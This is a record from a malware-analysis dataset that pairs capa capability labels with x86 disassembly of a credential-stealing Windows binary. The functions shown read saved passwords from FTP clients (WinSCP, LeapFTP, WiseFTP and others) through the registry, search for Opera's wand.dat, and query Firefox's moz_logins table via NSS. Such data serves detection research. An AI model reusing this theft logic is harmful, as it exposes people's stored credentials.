joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4073a7
Capabilities:
Gather fling-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407585
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4073fc
jmp 0x40757d
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push str.FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push str._FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x820], eax
push 0
push str.FtpServer
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push str.FtpUserName
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.FtpDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x4074bd
cmp dword [ebp - 0x820], 0
je 0x407522
cmp dword [ebp - 0x814], 0
je 0x407522
cmp dword [ebp - 0x818], 0
je 0x407522
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004073a7
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x4073ce
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x4075d2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407681
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x407624
jmp 0x407679
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x810], eax
or eax, eax
je 0x407669
cmp dword [ebp - 0x814], 0
je 0x407669
push 0xbeef0000
push dword [ebp - 0x814]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00404017
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x4075f9
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x407796
Capabilities:
Gather direct-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401eb1
or eax, eax
je 0x40784f
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0
je 0x4077c3
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.00401e4c
mov dword [ebp - 4], eax
push str.SharedSettings.ccs
push dword [ebp - 4]
call fcn.00401df8
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.0040406c
call fcn.004018b8
push str.SharedSettings.sqlite
push dword [ebp - 4]
call fcn.00401df8
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.0040406c
call fcn.004018b8
push str.SharedSettings_1_0_5.ccs
push dword [ebp - 4]
call fcn.00401df8
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.0040406c
call fcn.004018b8
push str.SharedSettings_1_0_5.sqlite
push dword [ebp - 4]
call fcn.00401df8
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.0040406c
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
leave
ret 0xc
Function at 0x4078c8
Capabilities:
Gather leapftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407a2f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40791d
jmp 0x407a27
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push str.InstallPath
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415bf8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x814], 0
je 0x4079b4
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404351
push 0xbeef0001
push 0x415bbe
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404351
cmp dword [ebp - 0x818], 0
je 0x4079ed
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404351
push 0xbeef0001
push 0x415bbe
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404351
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004078c8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x4078ef
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407bba
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407e1c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407c0f
jmp 0x407e14
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415c00
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x415c09
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415c12
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x415c2b
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x407cdd
cmp dword [ebp - 0x820], 4
jne 0x407cdd
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.004018b8
jmp 0x407cf1
or eax, eax
je 0x407ce7
push eax
call fcn.004018b8
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407db9
cmp dword [ebp - 0x814], 0
je 0x407db9
cmp dword [ebp - 0x818], 0
je 0x407db9
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
cmp dword [ebp - 0x82c], 0
je 0x407daf
cmp dword [ebp - 0x830], 4
jne 0x407daf
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.00401569
jmp 0x407db9
push 0
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x82c]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407bba
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x407be1
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407f0c
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408120
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407f61
jmp 0x408118
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x415c86
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415c8a
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x824], eax
push 0
push 0x415ca1
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x828], eax
push 0
push 0x415cdd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x4080b2
cmp dword [ebp - 0x814], 0
je 0x4080b2
cmp dword [ebp - 0x818], 0
je 0x4080b2
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x82c]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407f0c
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x407f33
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408961
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408980
cmp byte [eax], 0
jne 0x408985
jmp 0x408ad6
push dword [ebp + 0xc]
call fcn.004025a9
or eax, eax
jne 0x4089a0
push str..
push dword [ebp + 0xc]
call fcn.00401df8
jmp 0x4089ad
push 0x414f8e
push dword [ebp + 0xc]
call fcn.00401df8
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408ad6
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x408a6e
lea eax, [edx + 0x2c]
push eax
push 0x414f84
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408a08
jmp 0x408ab1
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f86
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408a25
jmp 0x408ab1
push dword [ebp + 0xc]
call fcn.004025a9
or eax, eax
jne 0x408a40
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
jmp 0x408a4a
push 0
push dword [ebp + 0xc]
call fcn.00401df8
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e4c
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408961
call fcn.004018b8
jmp 0x408ab1
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408ab1
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push dword [ebp - 0x14c]
push eax
call fcn.00401e4c
push eax
push eax
push dword [ebp + 8]
call fcn.0040891c
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x4089e3
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc
Function at 0x408ae5
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408b04
cmp byte [eax], 0
jne 0x408b09
jmp 0x408c12
push str..
push dword [ebp + 0xc]
call fcn.00401df8
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408c12
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x408bed
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f84
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408b78
jmp 0x408bed
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f86
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408b92
jmp 0x408bed
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push dword [ebp - 0x14c]
push eax
call fcn.00401e4c
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408be8
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.00408961
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x408b4c
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 8

Function at 0x408d1e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408e09
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408d73
jmp 0x408e01
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415dbd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x408dd2
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404043
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408d1e
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x408d45
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408e0d
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408f4b
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408e62
jmp 0x408f43
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.0040242b
or eax, eax
je 0x408f14
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401f7e
or eax, eax
je 0x408f0f
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404351
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404351
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404351
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408e0d
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x408e34
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x409061
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x416034], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x409092
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x409092
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_SetCurrentDirectoryA
push 0x415f19
push str.nss3.dll
call fcn.004024d6
or eax, eax
je 0x409112
push dword [ebp + 8]
call dword [0x415f19]
add esp, 4
or eax, eax
jne 0x409112
call dword [0x415f29]
mov dword [0x416034], eax
cmp dword [0x416034], 0
jne 0x4090d9
call dword [0x415f1d]
jmp 0x409112
push 0
push 1
push dword [0x416034]
call dword [0x415f2d]
add esp, 0xc
or eax, eax
je 0x409111
push dword [0x416034]
call dword [0x415f35]
add esp, 4
call dword [0x415f1d]
mov dword [0x416034], 0
jmp 0x409112
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x40926b
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0xc]
call fcn.00401f36
or eax, eax
jne 0x409281
leave
ret 0x10
push dword [ebp + 0xc]
call fcn.0040413f
or eax, eax
je 0x409291
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00409061
or eax, eax
jne 0x4092a4
leave
ret 0x10
push 0x416018
push str.mozsqlite3.dll
call fcn.004024d6
or eax, eax
jne 0x4092c6
push 0x416018
push str.sqlite3.dll
call fcn.004024d6
or eax, eax
je 0x409493
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [0x416018]
add esp, 8
or eax, eax
jne 0x409493
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push str.SELECT_hostname__encryptedUsername__encryptedPassword_FROM_moz_logins
push dword [ebp - 4]
call dword [0x416020]
add esp, 0x14
or eax, eax
jne 0x409487
push dword [ebp - 8]
call dword [0x416024]
add esp, 4
cmp eax, 0x64
je 0x40931d
jmp 0x409487
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
call fcn.0040923f
or eax, eax
je 0x409482
cmp dword [ebp - 0xc], 0
je 0x409482
cmp byte [eax], 0
je 0x409482
push eax
mov edx, dword [ebp - 0xc]
inc edx
push edx
call fcn.004018cf
pop edx
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edx
call fcn.00401906
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0x416030], 0
jne 0x4093ca
push 0x416126
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0x416126
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x4093ac
push str.http:__
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.http:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x4093f8
push str.https:__
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.https:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x4093f8
cmp dword [0x416030], 1
jne 0x4093ed
push str.ftp.
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.ftp.
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x4093f8
cmp dword [0x416030], 2
jne 0x4093f8
sub eax, eax
or eax, eax
jne 0x40946a
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
call fcn.0040923f
push dword [ebp - 0xc]
push eax
call fcn.00409142
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp - 8]
call fcn.0040923f
push dword [ebp - 0xc]
push eax
call fcn.00409142
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x40946a
cmp dword [ebp - 0x14], 0
je 0x40946a
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x10]
call fcn.004018b8
push dword [ebp - 0x14]
call fcn.004018b8
push dword [ebp - 0x18]
call fcn.004018b8
jmp 0x409307
push dword [ebp - 4]
call dword [0x41601c]
add esp, 4
call fcn.00409119
leave
ret 0x10